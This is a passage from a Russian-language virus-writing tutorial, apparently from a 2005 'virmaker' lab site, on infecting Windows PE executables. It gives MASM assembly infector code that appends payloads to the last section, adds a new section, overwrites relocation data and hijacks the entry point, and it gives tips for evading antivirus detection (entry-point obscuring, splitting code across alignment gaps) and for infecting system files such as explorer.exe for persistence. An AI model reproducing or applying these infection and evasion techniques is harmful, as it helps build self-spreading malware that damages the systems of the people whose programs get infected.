где X – исходный размер файла, Y – новый размер файла, FileAlignment – файловое выравнивание для файла-жертвы.

 

Для удобства я сделал процедуру для получения файлового выравнивания. Учтите что данная процедура не сохраняет регистры. Взгляните на эту процедуру:

;==========================================================
;Процедура GetFileAlignment
;Получение выровненного-вверх значения
;Вход: esi - указатель на строку с именем файла
;Выход: eax - значение FileAlignment
;!!!!!!!Процедура не сохраняет регистры!!!!!!!!!!!!!!
;==========================================================
GetFileAlignment proc
LOCAL hFile1:DWORD
LOCAL hMapping1:DWORD
;Create File Mapping instructions
invoke CreateFile,esi,GENERIC_WRITE or GENERIC_READ,FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL
mov hFile1,eax
invoke CreateFileMapping,eax,NULL,PAGE_READWRITE,0,0,NULL
mov hMapping1,eax
invoke MapViewOfFile,eax,FILE_MAP_ALL_ACCESS,0,0,0
;Проверка правильности PE-файла и ошибок при проекции
.IF eax==0;ошибки при проецировании
invoke CloseHandle,hFile1
invoke CloseHandle,hMapping1
mov eax,0
ret
.ENDIF
mov esi,eax
call ValidPE
.IF eax==0;EXE-файл не корректный
push esi
call UnmapViewOfFile
invoke CloseHandle,hFile1
invoke CloseHandle,hMapping1
mov eax,0
ret
.ENDIF
;Получение адреса PE-заголовка
assume edi:ptr IMAGE_DOS_HEADER
mov edi,esi
add edi,[edi].e_lfanew
;Получение адреса файлового заголовка
add edi,4
;Получение адреса опционального заголовка
add edi,sizeof IMAGE_FILE_HEADER
assume edi:ptr IMAGE_OPTIONAL_HEADER
invoke CloseHandle,hFile1
invoke CloseHandle,hMapping1
mov eax,[edi].FileAlignment
ret
GetFileAlignment endp
;==========================================================
;Конец Процедуры GetFileAlignment
;==========================================================

Код инфектора

В начале работы программы она высчитывает значение размера нового файла. Потом это значение используется при проекции EXE-файла жертвы. После этого как обычно программа проходит по EXE-файла и вылавливает нужные указатели. После получения нужных данных проходим по таблице секций и выясняем, какая все-таки секция последняя. Важно, что мы смотрим не только на физическое смещение в файле, но и на виртуальное. А то может оказаться, что физически секция последняя, а виртуально нет. В этом случае если мы все-таки внедрим код, то он перепишем данные секции, которая виртуально идет после последней физически. Так что, это надо иметь ввиду. Код:

;Находим последнюю секцию виртуально и физически
mov edi,pFileHeader
assume edi:ptr IMAGE_FILE_HEADER
xor ecx,ecx
mov cx,word ptr [edi].NumberOfSections
mov edi,pSectionTable
assume edi:ptr IMAGE_SECTION_HEADER
mov eax,[edi].PointerToRawData
mov ebx,[edi].VirtualAddress
add edi,sizeof IMAGE_SECTION_HEADER
dec ecx
NextSection:
.IF (eax<[edi].PointerToRawData)&&(ebx<[edi].VirtualAddress)
mov eax,[edi].PointerToRawData
mov ebx,[edi].VirtualAddress
mov pLastSection,edi;указатель на запись о последней секции
.ENDIF
add edi,sizeof IMAGE_SECTION_HEADER
loop NextSection

Далее проверяем, что найденная секция имеет не нулевой размер. Если бы секция имела бы нулевой физический размер, то это секция с неинициализированными данными. В коде приложения содержатся ссылки на эту секцию. Если мы в начало запишем наш код, то в итоге по некоторым адресам будут записываться данные. Т.о. часть нашего кода перепишется. А это нам естественно не нужно. Вот пример проверки, что найденная секция ненулевая:

;Не нулевая ли последняя секция?
mov edi,pLastSection
.IF [edi].SizeOfRawData==0;последняя секция нулевая
      jmp Exit
.ENDIF

После этих действий записываем код и правим некоторые значения. Какие значения править было описано в алгоритме выше.

            При внедрении заметьте, что мы добавляем данные в конец последней секции. Т.е. мы не используем место оставшееся в результате файлового выравнивания. Учитывая этот факт, новая точка входа будет равна RVA секции + SizeOfRawData до заражения. Также как и в прошлом примере в код добавляется переход на старую точку входа. Правка точки входа достигается следующим кодом:

;Правка AddressOfEntryPoint

mov edi,pLastSection

assume edi:ptr IMAGE_SECTION_HEADER

mov eax,[edi].VirtualAddress

add eax,[edi].SizeOfRawData

mov edi,pOptionalHeader

assume edi:ptr IMAGE_OPTIONAL_HEADER

lea edi,[edi].AddressOfEntryPoint

mov dword ptr [edi],eax

 

Загрузчик проверяет выполнение равенства ImageSize=VirtualSize+VirtualAddress. Из-за этого мы должны изменить ImageSize:

mov edi,pLastSection
assume edi:ptr IMAGE_SECTION_HEADER
mov eax,[edi].Misc.VirtualSize
add eax,[edi].VirtualAddress
mov edi,pOptionalHeader
assume edi:ptr IMAGE_OPTIONAL_HEADER
lea edi,[edi].SizeOfImage;Правка ImageSize
mov dword ptr [edi],eax

В результате заражения размер файла увеличивается. Это может вызвать подозрения. Используя данный метод заражения можно внедрить код любого размера. Также можно заразить файл бесконечное количество раз и он будет работать. У меня был notepad.exe, который занимал 30 Мб. Он был просто заражен много раз. Полезная нагрузка (внедряемый код) занимала ~3Мб. Но notepad.exe запускался после повторения некоторых действий.

Cпособ 3. Добавление новой секции

Теперь давайте сами добавим новую секцию в PE-файл. Алгоритм добавления новой секции выглядит так:

1)      Если есть Bound-импорты, то удалить их.

2)      Найти конец таблицы секций.

3)      Добавить запись о своей секции в таблицу секций.

4)      Обновить соответствующие поля.

5)      Записать код по нужному файловому смещению.

6)      Правим точку входа.

7)      Правим размер образа – ImageSize=VirtualSize+VirtualAddress

8)      Правим NumberOfSections

Код инфектора

Размер нового файла вычисляется по такой же формуле что и в предыдущем способе. Первым делом в программе как раз вычисляется новый размер файла. После этого опять ищем Bound-импорты, которые могут находится сразу после оригинальной таблицы секций. Затираем запись о Bound-импортах в таблице директорий. После окончания оригинальной таблицы секций забиваем нулями 40 байт – это будет наше место для новой записи в таблице секций. Хорошо, место есть. Теперь надо создать запись о новой секции и внести туда правильные данные. Чтобы выяснить какие данные нужны, посмотрите на структуру IMAGE_SECTION_HEADER. Имя секции выбираем любое. Главное чтобы оно укладывалось в 8 байт. Я назвал свою секцию .new. Еще один способ проверки не заражен ли уже файл – это проверка названия последней секции. VirtualSize – это размер нашего вредного кода. Чтобы посчитать виртуальный адрес новой секции надо взять виртуальный адрес последней секции. Потом взять размер в файле этой секции. Сложить полученные данные и выровнять их по SectionAlignment. Для получения значения SectionAlignment используется процедура GetSectionAlignment. Код:

;Получаем информацию для новой секции
mov edi,pLastSection
assume edi:ptr IMAGE_SECTION_HEADER
mov eax,[edi].VirtualAddress
add eax,[edi].SizeOfRawData
push eax
 
push hFile
call CloseHandle
 
mov esi,ofn.lpstrFile
call GetSectionAlignment
 
pop esi
mov edi,eax
call GetAlignUp;eax - Виртуальный адрес новой секции
push eax

 SizeOfRawData – берем значение виртуального размера и выравниванием на FileAlignment.  Для получения значения FileAlignment используется процедура GetFileAlignment. PointerToRawData будет соответствовать старому размеру файла, т.е. данные для секции добавляются в хвост. Далее все оставляем, кроме характеристик. Как выставлять характеристики нам известно. После создания записи о новой секции внедряем код в конец файла. Потом правим AddressOfEntryPoint, ImageSize. И не забудьте подправить NumberOfSections, а то лоадер начнет ругаться что-то там про win32. Вот как я делаю это:

;Правка Number Of Section
mov edi,pFileHeader
assume edi:ptr IMAGE_FILE_HEADER
lea edi,[edi].NumberOfSections
inc word ptr [edi]

Я не проверяю ошибки, так что сделайте так чтобы файлы, которые Вы открываете, были валидны. В этом инфекторе не также проверки на зараженность, чтобы показать что файл можно заражать несколько раз. В результате заражения размер файла увеличивается. Можно заражать несколько раз, но не бесконечное число. Количество зависит от места конца таблицы секций до данных первой физической секции. Если вдруг антивирус обращет внимание, что точка входа стоит на последней секции, то создайте две секции. На первую из них будет указывать AddressOfEntryPoint. Тогда подозрение по данному признаку исчезнут.

Способ 4. Удаление базовых поправок

В некоторых PE-файлах присутствуют базовые поправки. Вы уже знаете, что это такое, если читали с начала главу. Так вот они в большинстве случаев для EXE-файла не обязательны. Линкеры по умолчанию не создают базовых поправок в PE-файле в целях оптимизации. Мы можем использовать место, отведенное для базовых поправок, для внедрения кода. Чаще всего для базовых поправок отведена отдельная секция, которая называется .reloc. Но эти данные могут и не иметь отдельной секции. Чтобы узнать, где действительно распологается базовые поправки необходимо обратиться к таблице директорий. При заражении мы должны вынудить заргрузчик не использовать базовые поправки для данного EXE-файла. Для этого требутся всего лишь обнулить запись о базовых поправках в таблице директорий. Алгоритм замены секции базовых поправок выглядит так:

 

1) В таблице директорий удалить запись о базовых поправках.

2) Записать код на это место.

3) Изменить AddressOfEntryPoint

Это все! Никаких ImageSize и т.д. не нужно править т.к. мы не изменяем размер файла.

Полезная нагрузка(payload)

Теперь вы знаете, как внедряться в исполняемый файл. Код, который будет внедрен должен быть базонезависимым. Что обеспечить это условие необходимо использовать дельта смещение и связанные с ним техники. О дельта смещении вы должны были узнать в 1 главе. Код, который здесь приводился базозависим. Это сделано для большего понимания приводимого материала. Но если вы читали главу 1, то для Вас не составит труда сделать код базонезависимым. Также можно использовать термин – код в шел-код стиле.

Продвинутые приемы при заражении PE-файлов

Один из продвинутых приемов при заражении файлов является модификация кода программы. Это довольно сложно. Неоходимо анализировать код программы и выискивать оттуда пустые места или инструкции, которые можно заменить. Если мы просто заразили файл и точку входа изменили на наш код, то это сразу вызвет подозрения, даже визульно. Хороший инфектор должен быть практически невидим, т.е. не отличаться от кода программы. Вы можете размазывать весь код вируса по всему PE-файлу. Куда его засовывать? Да очень просто. У каждой секции есть файловое выравнивание. Следовательно остается свободное место в конце каждой физической секции. Когда в одной секции место закончилось ставьте jmp на следующий кусок кода и так далее. При модификации кода необходимо сохранять старые байты команд, т.е. например не переписать случайно половину команды. В этом случае помогает дизассемблер в вирусе специально написанный Вами. О дизассемлере в вирусах и его использовании я буду говорить в соответствующей главе. Эта тема требут отдельного разговора и называется EPO (EPO:Entry-Point Obscuring). При модификации кода, часто необходимо учитывать базовые поправки. Если вдруг Вы попытались заразить DLL, а ей базовые поправки нужны очень часто, то Вы должны позаботиться при модификации кода о прапатчивании модифицированных элементов. Так или иначе Microsoft приподнесла нам подарок в виде файлового выравнивания. Мы можем как угодно использовать это свободное место. Еще один способ для получения свободного места – сжатие оригинального кода. На его место можно записать наш код. При запуске файла код распаковывается, а вирус попадает на какой-то виртуальный адрес. Можно сделать заражение не использую код в шел-код стиле. Есть исполняемый файл, который является вирусом. Есть жертва. Мы берем исполняемый файл, добавляем все данные файла жертвы в файл вируса. Модифицируем с учетом новых данных вирусный PE-файл. Далее заменяем файл жертву на новый файл. При запуске зараженного файла некоторый код вируса, используя сохраненные данные, создает временный оригинальный файл и запускает его. В итоге запускается оригинальный файл. Сразу же исчезают многие проблему. Но у этого способа есть недостатки. Например, решение о том где хранить оригинальный файл. Если мы будем хранить его в той же папке это сразу можно заметить. Еще один способ заключается в следующем. Мы внедряем код запуска некоторого файла в жертву. При запуске жертвы запускается вредоносный файл, и жертва продолжает работу. Ну, это слишком просто. Тем более будет отображеться новый процесс. Это просто новый способ автозагрузки. Например, если заразить explorer.exe. Можно заразить любой файл из папки Windows. Например, notepad.exe. Это можно осуществить, т.к. WFP(Windows File Protection) побеждена. Я расскажу Вам об этом скоро. Вообще можно придумать куча вещей, неоходимо немного фантазии и знание PE-формата. Кое-что Вы можете почитать из той литературы, которую я Вам предложу ниже.

Источники для дальнейших исследований

  1. Основные методы заражения PE EXE [Sars/HI-TECH] www.wasm.ru
  2. Об упаковщиках в последний раз: Часть 1/2 [Volodya/HI-TECH,NEOx/UINC] www.wasm.ru
  3. Windows NT and Viruses [Alan Solomon] http://vx.netlux.org
  4. MSIL-PE-EXE infection strategies [Benny/29A] http://vx.netlux.org
  5. ФОРМАТ ИСПОЛНЯЕМЫХ ФАЙЛОВ PortableExecutables (PE) [Hard Wisdom] http://cracklab.ru/
  6. EPO: Entry-Point Obscuring [GriYo/29A] http://vx.netlux.org
  7. An In-Depth Look into the Win32 Portable Executable File Format, Part 1/2 [Matt Pietrek] http://www.microsoft.com
  8. Путь воина - внедрение в pe/coff файлы[Крис Касперски] http://www.insidepro.com/
  9. PE Infection school[JHB] http://vx.netlux.org
  10. The PE file format [LUEVELSMEYER] http://www.cs.bilkent.edu.tr/~hozgur/PE.TXT
  11. Microsoft Portable Executable and Common Object File Format Specification[Microsoft] http://www.microsoft.com
  12. PORTABLE EXECUTABLE FORMAT [Micheal J. O'Leary]
  13. The Evolution of 32-Bit Windows Viruses[Peter Szor, Eugene Kaspersky] http://vx.netlux.org
  14. Optimizing DLL Load Time Performance [Matt Pietrek] http://www.microsoft.com
  15. What Goes On Inside Windows 2000: Solving the Mysteries of the Loader [Russ Osterlund] http://www.microsoft.com
  16. Injected Evil (executable files infection)[Z0mbie/29a]
  17. Загрузчик PE-файлов[Максим М. Гумеров] http://www.rsdn.ru
  18. Programming Applications for Microsoft Windows[Jeffrey Richter]
  19. Исследование переносимого формата исполнимых файлов "сверху вниз"[Randy Kath] http://education.kulichki.net/comp/hack/27.htm.
  20. Infectable Objects 1/2/3/4[Robert Vibert] http://www.secutityfocus.com
  21. Ideas and theoryes on PE infection[b0z0/iKx] http://vx.netlux.org

 

Резюме

В этой главе мы рассмотрели формат исполняемых файлов win32. Рассмотрели каждое поле в отдельности и в общем весь формат. Были приведены примеры работы с PE-форматом на С и ассемблере. Мы узнали как заражать PE-файлы. Цель данной статьи - рассказать Вам как устроен PE-формат, расписать некоторые трудности при записи своего кода в посторонний файл. Также Вы должны приобрести гибкость при анализе любого исполняемого файла и создании своих способов внедрения. К статье прилагется исходные коды 3-х инфекторов и дампера PE-формата в 2-х версиях.

 

Файлы к статье

Наши новости

Новые события из жизни нашей лаборатории

Статьи

Статьи и переводы лаборатории TPOC

Программы

Программы лаборатории TPOC

Релизы

Здесь мы сообщаем Вам, какие творения скоро появятся

Ссылки

Ссылки на сайты, где можно найти больше информации

Наша лаборатория

История нашей лаборатории и ее члены

 
Дата последнего обновления: 25 июля 2005 года
У вас есть предложения по нашему сайту?
Напишите сюда
Любимые сайты вирмейкеров:
(WASM)   (RSDN)